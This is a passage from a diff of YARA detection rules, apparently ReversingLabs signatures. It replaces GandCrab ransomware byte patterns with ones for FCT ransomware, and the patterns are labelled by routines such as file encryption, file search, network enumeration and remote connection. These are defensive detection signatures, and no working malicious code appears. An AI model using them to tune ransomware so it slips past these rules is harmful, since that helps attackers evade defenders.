+            4C 24 ?? F6 C1 ?? 74 ?? C6 40 ?? ?? 89 48 ?? EB ?? C6 40 ?? ?? 50 89 50 ?? 89 70 ??
+            8B 44 24 ?? 50 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 6A ??
+            50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 54 24 ?? 8D 4C 24 ?? 51 52 FF 15 ?? ?? ?? ?? 85
+            C0 0F 85 ?? ?? ?? ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 8B 74 24 ?? EB ?? 56 6A ?? FF 15
+            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 50 FF 15 ?? ?? ?? ?? 56 6A ?? FF 15 ??
+            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3
         }
-		$set_ransom_wallpaper = {
-             0F B6 05 ?? ?? ?? ?? 83 F8 01 0F 85 ?? ?? ?? ??
-             B9 ?? ?? ?? ?? BF ?? ?? ?? ?? 51 57 [2-20] 5F
-             59 25 ?? ?? ?? ?? C1 E8 ?? 83 C0 ?? AA E2 ?? 33
-             C0 AA 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ??
-             ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ??
-             68 ?? ?? ?? ?? (E8 | FF 15)
+		$encrypt_files = {
+            8B 50 ?? 8B 00 83 EC ?? 55 8B 2D ?? ?? ?? ?? 56 57 6A ?? 8B F9 8D 4C 24 ?? 51 52 50
+            53 FF D5 85 C0 0F 84 ?? ?? ?? ?? 8B 57 ?? 8B 47 ?? 33 F6 56 8D 4C 24 ?? 51 52 50 53
+            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 75 ?? B0 ?? 5F 5E 5D 83
+            C4 ?? C3 3B 47 ?? 73 ?? 8B C8 83 E1 ?? 74 ?? BE ?? ?? ?? ?? 2B F1 8B 4F ?? 56 03 C8
+            6A ?? 51 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 8B 4F ?? 03 C6 50 8D 54 24 ?? 52 51 6A
+            ?? 6A ?? 89 44 24 ?? 8B 44 24 ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            8B 4C 24 ?? 8B 54 24 ?? 6A ?? 6A ?? 51 52 53 FF D5 85 C0 74 ?? 8B 4C 24 ?? 8B 57 ??
+            8B 3D ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 03 CE 51 52 53 FF D7 85 C0 74 ?? 8B 44 24 ??
+            8D 0C 30 8B 44 24 ?? 3B C1 72 ?? 01 44 24 ?? 8B 44 24 ?? 8B 50 ?? 8B 00 83 54 24 ??
+            ?? 6A ?? 6A ?? 52 50 53 FF D5 85 C0 74 ?? 6A ?? 8D 4C 24 ?? 51 6A ?? 8D 54 24 ?? 52
+            53 FF D7 85 C0 74 ?? 83 7C 24 ?? ?? 0F 83 ?? ?? ?? ?? 5F 5E 32 C0 5D 83 C4 ?? C3
         }
-		$read_config_file = {
-            55 8B EC 83 C4 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
-            ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? E8 ??
-            ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 89 45 ?? 50 6A ??
-            E8 ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 89 45 ?? FF
-            75 ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3
-            89 45 ?? 50 E8 ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3
-            89 45 ?? FF 75 ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 04
-            33 C0 C9 C3 89 45 ?? 8B D8 FF 75 ?? FF 75 ?? FF 75
-            ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 5D ??
-            6A ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C3 ?? 8B
-            45 ?? 83 E8 ?? 50 53 E8 ?? ?? ?? ?? 8A 03 A2 ?? ??
-            ?? ?? 83 C3 ?? 8A 03 A2 ?? ?? ?? ?? 83 C3
+		$enum_network_resources = {
+            55 8B EC 83 E4 ?? 83 EC ?? 53 56 57 68 ?? ?? ?? ?? 6A ?? C7 44 24 ?? ?? ?? ?? ?? C7
+            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
+            8B F0 85 F6 89 74 24 ?? 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 7D ?? 8D 44 24 ?? 50 51 6A ??
+            6A ?? 57 E8 ?? ?? ?? ?? 85 C0 74 ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B
+            7D ?? 68 ?? ?? ?? ?? 6A ?? 56 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 8D 54 24 ?? 52 56 8D 44 24 ?? 50 51 E8 ?? ?? ?? ?? 85
+            C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 85 C0 75 ?? 8B 54 24 ?? 8B 45 ?? 52 50 EB ?? 8B 4C 24
+            ?? 8B 50 ?? 51 52 E8 ?? ?? ?? ?? 33 DB 83 C4 ?? 39 5C 24 ?? 76 ?? 83 C6 ?? 8D 49 ??
+            8B 46 ?? 85 C0 8B C8 75 ?? B9 ?? ?? ?? ?? 8B 46 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 51 8B
+            0E 51 50 E8 ?? ?? ?? ?? 8B 46 ?? 83 C4 ?? A8 ?? 74 ?? 8B 56 ?? 85 D2 74 ?? 85 FF 7E
+            ?? 8B 45 ?? 85 C0 74 ?? 8B 40 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 55 ?? 8B 4D ?? 52 83
+            EF ?? 57 8D 46 ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? F6 06 ?? 74 ?? 50 E8 ?? ?? ??
+            ?? 8B 56 ?? 8B 45 ?? 83 C4 ?? 52 50 E8 ?? ?? ?? ?? 83 C3 ?? 83 C6 ?? 3B 5C 24 ?? 0F
+            82 ?? ?? ?? ?? 8B 74 24 ?? E9 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 8B 44 24 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($drive_loop and $encrypt_routine and $set_ransom_wallpaper and $read_config_file)
+		uint16(0)==0x5A4D and ($enum_network_resources) and ( all of ($find_files_p*)) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Gandcrab : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_FCT : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects GandCrab ransomware."
+		description = "Yara rule that detects FCT ransomware."
 		author = "ReversingLabs"
-		id = "a09ed7e6-f3a6-5f44-9d5b-a9c529cf1190"
+		id = "ea3d5514-d6f2-5fd0-9247-a3f6b920d8d9"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.GandCrab.yara#L1-L892"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "79381635681482fc90defe4e10e97bf16d534837518fc06ae579822e9d77b461"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.FCT.yara#L1-L86"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "b158ad56c92a926f7398a27b3576c259e39c9716ef192fa5944ce3cffdc6d7d0"
 		score = 75
-		quality = 88
+		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
 		status = "RELEASED"
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "GandCrab"
+		tc_detection_name = "FCT"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B F9 89 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 85 DB 74 ?? 33 C0
-            83 F8 ?? 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 83 F8 ?? 74 ??
-            57 FF 15 ?? ?? ?? ?? 8D 4D ?? 8D 34 45 ?? ?? ?? ?? 8D 46 ?? 50 E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ??
-            8B D8 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 89 45 ?? FF D6 57 53 FF D6
-            6A ?? 59 BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3 A5 8B 35 ?? ?? ?? ?? 53 FF D6 33 FF 8D
-            85 ?? ?? ?? ?? 21 BD ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 83 EC ??
-            FF 75 ?? 53 FF D6 8B 75 ?? 8D 4D ?? 50 53 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 85
-            C0 74 ?? 47 83 7D ?? ?? 74 ?? 8B 4D ?? 8D 55 ?? 83 65 ?? ?? E8 ?? ?? ?? ?? 85 C0 74
-            ?? 8B 45 ?? 85 C0 74 ?? 8B 4D ?? 89 01 EB ?? 33 FF 68 ?? ?? ?? ?? 6A ?? 56 FF 15 ??
-            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF 75 ??
-            FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3
+		$find_files_p1 = {
+            6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ??
+            ?? ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 89
+            85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 6A ?? 51 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 33 DB 8B 55 ?? 33 C9 8B 75
+            ?? 89 9D ?? ?? ?? ?? 85 D2 74 ?? 66 90 83 7D ?? ?? 8D 45 ?? 0F 43 C6 0F BE 04 08 41
+            03 D8 3B CA 72 ?? 89 9D ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ??
+            ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B CF C7 45 ?? ?? ?? ?? ?? 33 C0
+            C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 8D 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1
+            F9 51 57 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 75 ?? 8B C6 8B 55 ?? 2B C2 83 F8 ??
+            72 ?? 83 FE ?? 8D 45 ?? 8D 4A ?? BB ?? ?? ?? ?? 0F 43 45 ?? 89 4D ?? 66 89 1C 50 33
+            D2 66 89 14 48 EB ?? 6A ?? 68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ??
+            ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51
         }
-		$remote_connection_v2 = {
-            55 8B EC 83 EC ?? 53 56 8B D9 89 55 ?? 57 8D 4D ?? 89 5D ?? E8 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 53 89 45 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 3C 45
-            ?? ?? ?? ?? 8D 47 ?? 50 6A ?? FF D6 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B D8
-            FF D6 89 45 ?? 85 DB 74 ?? 8D 47 ?? 3B F8 73 ?? 8B F3 EB ?? 33 F6 FF 75 ?? 56 FF 15
-            ?? ?? ?? ?? F3 0F 6F 05 ?? ?? ?? ?? 56 F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F
-            7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45
-            ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? F3 0F 6F 05 ?? ?? ?? ?? F3 0F 7F 45 ?? FF
-            15 ?? ?? ?? ?? 8D 45 ?? 33 FF 50 FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 68 ?? ?? ?? ?? 83
-            EC ?? 68 ?? ?? ?? ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 50 56 8B 75 ?? 8D 4D ?? 68 ?? ??
-            ?? ?? 56 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? BF ?? ?? ?? ?? 74 ?? 8B 4D ?? 8D 55
-            ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 85 C0 74 ?? 8B 4D ?? 89
-            01 EB ?? 33 FF 68 ?? ?? ?? ?? 6A ?? 56 8B 35 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? 6A ??
-            FF 75 ?? FF D6 68 ?? ?? ?? ?? 6A ?? 53 FF D6 8B 45 ?? 85 C0 74 ?? 50 FF 15 ?? ?? ??
-            ?? 8B C7 5F 5E 5B 8B E5 5D C3
+		$find_files_p2 = {
+            52 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55
+            ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ??
+            0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 9D ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B BD ?? ?? ?? ?? E9 ?? ?? ?? ?? 53 FF 15 ?? ??
+            ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 55 ?? 8D 48 ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 52
+            ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 83
+            FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83
+            C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D
+            ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 E8
         }
-		$crypt_files = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 51 33 C0 89 4C 24 ?? 40 8B DA 50 51 50
-            83 EC ?? 89 5C 24 ?? 50 51 50 51 50 51 50 51 50 83 EC ?? 50 51 50 8D 8C 24 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 75 ?? 8B
-            F8 03 F3 8D 4E ?? 8D 0C CF C1 E1 ?? 51 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 04 B7 8D 04 C5
-            ?? ?? ?? ?? 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B 75 ?? 89 44 24 ?? 8D 0C F5 ?? ?? ?? ??
-            51 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 0C DD ?? ?? ?? ?? 8B F8 51 8D 4C 24 ?? E8 ?? ?? ??
-            ?? 8B D8 89 5C 24 ?? 85 FF 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 57 68 ?? ?? ?? ?? 56 FF
-            75 ?? 8D 0C 36 8B 35 ?? ?? ?? ?? 89 4C 24 ?? FF D6 8B 4C 24 ?? 8D 04 09 89 44 24 ??
-            8D 44 24 ?? 50 53 68 ?? ?? ?? ?? 51 FF 74 24 ?? FF D6 53 8B 1D ?? ?? ?? ?? FF D3 57
-            8B F0 FF D3 83 C0 ?? 8D 4C 24 ?? 03 C6 50 E8 ?? ?? ?? ?? 57 FF D3 40 8D 4C 24 ?? 50
-            E8 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? FF D3 40 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 33 F6
-            89 44 24 ?? 8B CE 57 89 4C 24 ?? FF D3 85 C0 74 ?? 8B 54 24 ?? 89 54 24 ?? 8B 44 24
-            ?? 8A 0C 38 80 F9 ?? 74 ?? 80 F9 ?? 74 ?? 88 0A 42 89 54 24 ?? 40 57 89 44 24 ?? FF
-            D3 8B 4C 24 ?? 8B 54 24 ?? 3B C8 72 ?? 8B 7C 24 ?? 57 FF D3 85 C0 74 ?? 8B 4C 24 ??
-            89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C
-            24 ?? 3B F0 72 ?? 8B 7C 24 ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 8B 35 ?? ??
-            ?? ?? 57 FF D6 8D 4C 24 ?? 8D 3C 47 57 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 57 FF
-            D6 FF 74 24 ?? 8D 34 47 FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF D3 57 FF 15 ?? ?? ?? ?? FF 74 24 ?? 8D 34
-            47 FF 15 ?? ?? ?? ?? 50 56 6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 57 FF D3 8B 74 24 ?? 8B 1D ?? ?? ?? ?? 56 FF D3 C1 E0 ?? 8D 4C 24 ??
-            83 C0 ?? 50 E8 ?? ?? ?? ?? 56 FF D3 8D 4C 24 ?? 8D 04 C5 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 56 89 44 24 ?? FF D3 8B 5C 24 ?? 8B F0 8B CB 8D 3C 36 8B D7 E8 ?? ?? ?? ?? 8D 44
-            24 ?? 8B CE 8B 74 24 ?? 50 56 68 ?? ?? ?? ?? 57 C1 E1 ?? 53 89 4C 24 ?? FF 15 ?? ??
-            ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 56 FF D3 83 C0 ?? 8D 4C 24 ??
-            50 E8 ?? ?? ?? ?? 56 FF D3 40 8D 4C 24 ?? 50 E8 ?? ?? ?? ?? 89 44 24 ?? 33 F6 8B 44
-            24 ?? 8B FE 50 FF D3 85 C0 74 ?? 8B 54 24 ?? 89 54 24 ?? 8B 44 24 ?? 8A 0C 07 80 F9
-            ?? 74 ?? 80 F9 ?? 74 ?? 88 0A 42 89 54 24 ?? 50 47 FF D3 8B 54 24 ?? 3B F8 72 ?? 8B
-            7C 24 ?? 57 FF D3 50 FF 74 24 ?? 6A ?? 57 56 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ??
-            8D 54 24 ?? 89 74 24 ?? 8B CF E8 ?? ?? ?? ?? 59 85 C0 75 ?? 8D 4C 24 ?? E8 ?? ?? ??
-            ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? EB ?? 8B 4C 24 ?? 85 C9 74
-            ?? 8B 45 ?? 89 08 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ??
-            E8 ?? ?? ?? ?? 33 F6 46 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 5F 8B
-            C6 5E 5B 8B E5 5D C3
+		$encrypt_files_p1 = {
+            66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 57 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ??
+            ?? 8B 75 ?? 8B C6 8B 55 ?? 2B C2 83 F8 ?? 72 ?? 83 FE ?? 8D 45 ?? 8D 4A ?? BB ?? ??
+            ?? ?? 0F 43 45 ?? 89 4D ?? 66 89 1C 50 33 D2 66 89 14 48 EB ?? 6A ?? 68 ?? ?? ?? ??
+            C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? 8D 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 8B 5D ?? 2B CA 8B 55 ?? 8B C3 D1 F9 2B
+            C2 3B C8 77 ?? 83 FB ?? 8D 04 09 50 8D 75 ?? 0F 43 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 3C
+            0A 89 7D ?? 8D 04 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 7E EB ?? 51 8D 85 ??
+            ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 81 BD
+            ?? ?? ?? ?? ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 68
+            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F
+            84 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B F2 85 F6 74
         }
-		$crypt_files_v2 = {
-            8B 55 ?? 8B 1D ?? ?? ?? ?? 8D 04 12 89 44 24 ?? 8D 44 24 ?? 50 51 68 ?? ?? ?? ?? 52
-            FF 75 ?? FF D3 8D 04 36 89 44 24 ?? 8D 44 24 ?? 50 57 68 ?? ?? ?? ?? 56 FF 74 24 ??
-            FF D3 8B 1D ?? ?? ?? ?? 57 FF D3 FF 74 24 ?? 8B F0 FF D3 6A ?? 83 C0 ?? 68 ?? ?? ??
-            ?? 03 F0 56 6A ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? 89 44 24 ?? C7 44 24 ??
-            ?? ?? ?? ?? FF D3 8B 54 24 ?? 40 85 D2 74 ?? 3B C6 73 ?? 8D 0C 02 89 44 24 ?? 89 4C
-            24 ?? 89 54 24 ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 57 FF D3 40 83 7C 24 ?? ?? 74 ?? 03
-            44 24 ?? 3B C6 72 ?? C7 44 24 ?? ?? ?? ?? ?? FF 74 24 ?? 33 F6 FF D3 85 C0 74 ?? 8B
-            7C 24 ?? EB ?? 8D 9B ?? ?? ?? ?? 8B 4C 24 ?? 8A 04 0E 3C ?? 74 ?? 3C ?? 74 ?? 88 07
-            47 51 46 FF D3 3B F0 72 ?? 8B 7C 24 ?? 57 33 F6 FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C
-            24 ?? 90 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01 41 89 4C 24 ?? 57 46 FF D3 8B 4C 24
-            ?? 3B F0 72 ?? 8B 74 24 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D7 56 FF 15 ?? ??
-            ?? ?? 8D 4C 24 ?? 8D 34 46 56 89 74 24 ?? E8 ?? ?? ?? ?? 8D 54 24 ?? C7 44 24 ?? ??
-            ?? ?? ?? 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 50 FF 15 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D7 8B 7C 24 ?? 57 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            56 FF 15 ?? ?? ?? ?? 8B 74 24 ?? 56 FF 74 24 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
-            ?? 57 8B 3D ?? ?? ?? ?? FF D7 68 ?? ?? ?? ?? 6A ?? 56 FF D7 8B 74 24 ?? 68 ?? ?? ??
-            ?? 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 56 FF D7 FF 74 24 ?? 8D 34 46 FF D3 50 56
-            6A ?? FF 74 24 ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 74 24 ?? 68 ?? ?? ?? ??
-            56 FF 15 ?? ?? ?? ?? 56 FF D7 8B 7C 24 ?? 57 8D 34 46 FF D3 50 56 6A ?? 57 6A ?? 68
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24
-            ?? 8B 35 ?? ?? ?? ?? FF D6 8B F8 6A ?? C1 E7 ?? 68 ?? ?? ?? ?? 83 C7 ?? 57 6A ?? FF
-            15 ?? ?? ?? ?? FF 74 24 ?? 89 44 24 ?? FF D6 8D 0C C5 ?? ?? ?? ?? 8B 44 24 ?? 85 C0
-            74 ?? 3B CF 73 ?? 8B F8 EB ?? 33 FF FF 74 24 ?? FF D6 8B 0D ?? ?? ?? ?? 89 44 24 ??
-            85 C9 74 ?? 68 ?? ?? ?? ?? 6A ?? 51 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? FF D6 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 8B 4C 24 ?? 8D 34 00
-            8B D6 E8 ?? ?? ?? ?? 8B 4C 24 ?? 8D 04 CD ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 ?? 50 57
-            68 ?? ?? ?? ?? 56 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 57 FF
-            D3 6A ?? 68 ?? ?? ?? ?? 8D 70 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 57 89 44 24 ?? FF D3 8D
-            48 ?? 8B 44 24 ?? 85 C0 74 ?? 89 44 24 ?? 3B CE 72 ?? C7 44 24 ?? ?? ?? ?? ?? 57 33
-            F6 FF D3 85 C0 74 ?? 8B 4C 24 ?? 89 4C 24 ?? 8A 04 3E 3C ?? 74 ?? 3C ?? 74 ?? 88 01
-            41 89 4C 24 ?? 57 46 FF D3 8B 4C 24 ?? 3B F0 72 ?? 8B 74 24 ?? 56 FF D3 50 FF 74 24
-            ?? 6A ?? 56 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 51 8D 54 24 ?? C7 44 24 ??
-            ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 50 8B 44 24 ?? 50 FF D3 8B 44 24 ?? 68 ?? ?? ?? ?? 6A ?? 50 FF D3 68 ?? ?? ?? ??
-            6A ?? FF 74 24 ?? FF D3 68 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF D3 8D 4C 24 ?? E8 ?? ??
-            ?? ?? 33 C0 5F 5E 5B 8B E5 5D C3
+		$encrypt_files_p2 = {
